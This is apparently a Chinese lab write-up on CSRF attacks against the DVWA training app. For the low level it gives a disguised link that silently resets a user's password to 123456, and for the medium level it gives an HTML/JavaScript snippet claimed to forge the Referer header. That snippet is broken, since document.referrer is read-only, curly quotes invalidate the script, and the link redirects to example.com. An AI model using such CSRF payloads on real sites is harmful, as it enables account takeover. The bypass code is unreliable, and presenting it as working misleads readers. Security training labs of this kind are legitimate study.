新建一个html页面添加超链接
<a href="http://127.0.0.1/dvwa/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#">好东西</a>

打开网页点击链接发现密码被篡改成123456了


medium
点击low中创建的网页链接发现请求错误

burpsuite抓包试一下
这是正常修改密码的请求


发现请求包缺少Referer头
所以构造的恶意网页时要请求要加入Referer
<a href="http://10.10.10.1/dvwa/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#" onclick="redirectToExternal('https://example.com')">Link Text</a>
<script>
function redirectToExternal(url) {
document.referrer = “http://127.0.0.1/dvwa/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#”; // 设置 referer
window.location.href = url; // 跳转到外部链接
}
</script>